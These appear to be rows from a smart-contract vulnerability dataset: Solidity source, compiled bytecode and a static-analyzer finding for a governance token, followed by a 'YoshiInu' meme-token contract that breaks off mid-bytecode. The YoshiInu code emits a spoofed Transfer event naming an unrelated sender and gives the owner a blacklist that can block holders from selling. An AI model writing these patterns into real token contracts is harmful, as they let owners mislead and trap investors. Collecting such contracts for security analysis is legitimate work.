while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf[delegator];
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint blockNumber = block.number;
require(blockNumber<2**32, 'block.number overflow');
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(uint32(blockNumber), newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636fcfff45116100f9578063a9059cbb11610097578063d505accf11610071578063d505accf14610660578063e7a324dc146106be578063f1127ed8146106c6578063f5a1f5b414610725576101c4565b8063a9059cbb146105a0578063b4b5ea57146105d9578063c3cda5201461060c576101c4565b80637ecebe00116100d35780637ecebe00146105245780638da5cb5b1461055757806395d89b411461055f578063a457c2d714610567576101c4565b80636fcfff451461046c57806370a08231146104b8578063782d6fe1146104eb576101c4565b8063313ce5671161016657806340c10f191161014057806340c10f191461036957806355b6ed5c146103a2578063587cde1e146103dd5780635c19a95c14610439576101c4565b8063313ce5671461030a5780633644e515146103285780633950935114610330576101c4565b806320606b70116101a257806320606b70146102ad57806323b872dd146102b557806328c23a45146102f857806330adf81f14610302576101c4565b806306fdde03146101c9578063095ea7b31461024657806318160ddd14610293575b600080fd5b6101d1610758565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020b5781810151838201526020016101f3565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027f6004803603604081101561025c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610791565b604080519115158252519081900360200190f35b61029b6107a8565b60408051918252519081900360200190f35b61029b6107ae565b61027f600480360360608110156102cb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356107d2565b610300610848565b005b61029b610925565b610312610949565b6040805160ff9092168252519081900360200190f35b61029b61094e565b61027f6004803603604081101561034657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610954565b6103006004803603604081101561037f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610997565b61029b600480360360408110156103b857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610a5d565b610410600480360360208110156103f357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a7a565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6103006004803603602081101561044f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610aa5565b61049f6004803603602081101561048257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ab2565b6040805163ffffffff9092168252519081900360200190f35b61029b600480360360208110156104ce57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610aca565b61029b6004803603604081101561050157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610adc565b61029b6004803603602081101561053a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610dbc565b610410610dce565b6101d1610dea565b61027f6004803603604081101561057d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e23565b61027f600480360360408110156105b657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e7f565b61029b600480360360208110156105ef57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610e8c565b610300600480360360c081101561062257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060208101359060408101359060ff6060820135169060808101359060a00135610f28565b610300600480360360e081101561067657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611230565b61029b6114f3565b610705600480360360408110156106dc57600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff16906020013563ffffffff16611517565b6040805163ffffffff909316835260208301919091528051918290030190f35b6103006004803603602081101561073b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611544565b6040518060400160405280601381526020017f436f696e5377617020476f7665726e616e63650000000000000000000000000081525081565b600061079e33848461164a565b5060015b92915050565b60035481565b7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f81565b60006107df84848461175e565b61083e8433610839856040518060600160405280602281526020016120936022913973ffffffffffffffffffffffffffffffffffffffff8a16600090815260016020908152604080832033845290915290205491906118da565b61164a565b5060019392505050565b60025473ffffffffffffffffffffffffffffffffffffffff1633146108ce57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f45524332303a207265717569726573206f776e65720000000000000000000000604482015290519081900360640190fd5b600280547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560405160009081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60045481565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161079e918590610839908661198b565b60025473ffffffffffffffffffffffffffffffffffffffff163314610a1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f45524332303a206e6f74206f776e657200000000000000000000000000000000604482015290519081900360640190fd5b610a2782826119ff565b73ffffffffffffffffffffffffffffffffffffffff808316600090815260066020526040812054610a59921683611b24565b5050565b600160209081526000928352604080842090915290825290205481565b73ffffffffffffffffffffffffffffffffffffffff9081166000908152600660205260409020541690565b610aaf3382611d0a565b50565b60086020526000908152604090205463ffffffff1681565b60006020819052908152604090205481565b6000438210610b4c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f435357503a20746f6f206561726c790000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205463ffffffff1680610b875760009150506107a2565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860181168552925290912054168310610c4c5773ffffffffffffffffffffffffffffffffffffffff841660009081526007602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9490940163ffffffff168352929052206001015490506107a2565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832083805290915290205463ffffffff16831015610c945760009150506107a2565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b8163ffffffff168163ffffffff161115610d7857600282820363ffffffff16048103610ce461202b565b5073ffffffffffffffffffffffffffffffffffffffff8716600090815260076020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610d53576020015194506107a29350505050565b805163ffffffff16871115610d6a57819350610d71565b6001820392505b5050610cba565b5073ffffffffffffffffffffffffffffffffffffffff8516600090815260076020908152604080832063ffffffff9094168352929052206001015491505092915050565b60056020526000908152604090205481565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f435357500000000000000000000000000000000000000000000000000000000081525081565b600061079e3384610839856040518060600160405280602581526020016120d66025913933600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8d16845290915290205491906118da565b600061079e33848461175e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526008602052604081205463ffffffff1680610ec4576000610f21565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff86011684529091529020600101545b9392505050565b604080517fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60208083019190915273ffffffffffffffffffffffffffffffffffffffff8916828401526060820188905260808083018890528351808403909101815260a0830184528051908201206004547f190100000000000000000000000000000000000000000000000000000000000060c085015260c284015260e2808401829052845180850390910181526101028401808652815191840191909120600091829052610122850180875281905260ff891661014286015261016285018890526101828501879052945191949390926001926101a2808401937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08301929081900390910190855afa158015611063573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811661111057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f435357503a20696e76616c6964207369676e6174757265000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116600090815260056020526040902080546001810190915588146111ab57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f435357503a20696e76616c6964206e6f6e636500000000000000000000000000604482015290519081900360640190fd5b8642111561121a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f435357503a207369676e61747572652065787069726564000000000000000000604482015290519081900360640190fd5b611224818a611d0a565b5050505b505050505050565b4284101561129f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f45524332303a2065787069726564000000000000000000000000000000000000604482015290519081900360640190fd5b60045460025473ffffffffffffffffffffffffffffffffffffffff89811660009081526005602090815260408083208054600181810190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015296861687840152948d166060870152608086018c905260a086019490945260c08086018b90528151808703909101815260e0860182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008701526101028601969096526101228086019690965280518086039096018652610142850180825286519683019690962095839052610162850180825286905260ff89166101828601526101a285018890526101c285018790525191936101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611402573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81161580159061147d57508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6114e857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f45524332303a2077726f6e67207369676e617475726500000000000000000000604482015290519081900360640190fd5b61122489898961164a565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b60076020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b60025473ffffffffffffffffffffffffffffffffffffffff1633148015611580575073ffffffffffffffffffffffffffffffffffffffff811615155b6115d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612043602a913960400191505060405180910390fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691821792839055604051919216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b73ffffffffffffffffffffffffffffffffffffffff831615801590611684575073ffffffffffffffffffffffffffffffffffffffff821615155b6116ef57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f45524332303a20617070726f76652077697468207a65726f2061646472657373604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff831615801590611798575073ffffffffffffffffffffffffffffffffffffffff821615155b6117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120b56021913960400191505060405180910390fd5b6118378160405180606001604052806026815260200161206d6026913973ffffffffffffffffffffffffffffffffffffffff861660009081526020819052604090205491906118da565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152602081905260408082209390935590841681522054611873908261198b565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611983576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611948578181015183820152602001611930565b50505050905090810190601f1680156119755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610f2157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216611a8157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f45524332303a206d696e7420746f207a65726f20616464726573730000000000604482015290519081900360640190fd5b600354611a8e908261198b565b60035573ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902054611ac1908261198b565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b605750600081115b15611d055773ffffffffffffffffffffffffffffffffffffffff831615611c375773ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604081205463ffffffff169081611bba576000611c17565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff87011684529091529020600101545b90506000611c258285611dae565b9050611c3386848484611df0565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611d055773ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604081205463ffffffff169081611c8c576000611ce9565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff87011684529091529020600101545b90506000611cf7828561198b565b905061122885848484611df0565b505050565b73ffffffffffffffffffffffffffffffffffffffff8083166000818152600660208181526040808420805485845282862054949093528787167fffffffffffffffffffffffff00000000000000000000000000000000000000008416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611da8828483611b24565b50505050565b6000610f2183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118da565b436401000000008110611e6457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f626c6f636b2e6e756d626572206f766572666c6f770000000000000000000000604482015290519081900360640190fd5b60008463ffffffff16118015611ed3575073ffffffffffffffffffffffffffffffffffffffff8516600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8901811685529252909120541681145b15611f3b5773ffffffffffffffffffffffffffffffffffffffff8516600090815260076020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff89011684529091529020600101829055611fd4565b60408051808201825263ffffffff8084168252602080830186815273ffffffffffffffffffffffffffffffffffffffff8a166000818152600784528681208b861682528452868120955186549086167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000918216178755925160019687015590815260089092529390208054928801909116919092161790555b6040805184815260208101849052815173ffffffffffffffffffffffffffffffffffffffff8816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b60408051808201909152600080825260208201529056fe45524332303a207265717569726573206f776e6572206f72206e6577206f776e6572206973207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74203e20616c6c6f77616e636545524332303a207472616e736665722077697468207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f74b5382a7fc1d5f511187eca0fd0f4598e438ae4350cd981d9fe1e0b16838f664736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,113 |
0xbc2620f1de16387c8f79bae58ab828619e372cc8
|
/**
*Submitted for verification at Etherscan.io on 2021-09-29
*/
/*
Welcome to Yoshi Inu join us at:
Telegram - https://t.me/Yoshi_Inu
website - https://www.yoshitoken.net/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract YoshiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "YoshiInu";
string private constant _symbol = "Yoshi";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xf572A6Bd5822796c9257F92A17804C59e14DDbEF), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (90 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063bc3371821461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9a565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e0565b61045e565b6040516101789190612d7f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f1c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612891565b61048d565b6040516101e09190612d7f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612803565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f91565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061295d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612803565b610783565b6040516102b19190612f1c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cb1565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d9a565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e0565b61098d565b60405161035b9190612d7f565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291c565b6109ab565b005b34801561039957600080fd5b506103b460048036038101906103af91906129af565b610afb565b005b3480156103c257600080fd5b506103cb610c16565b005b3480156103d957600080fd5b506103e2610c90565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612855565b6111ec565b6040516104189190612f1c565b60405180910390f35b60606040518060400160405280600881526020017f596f736869496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b611273565b848461127b565b6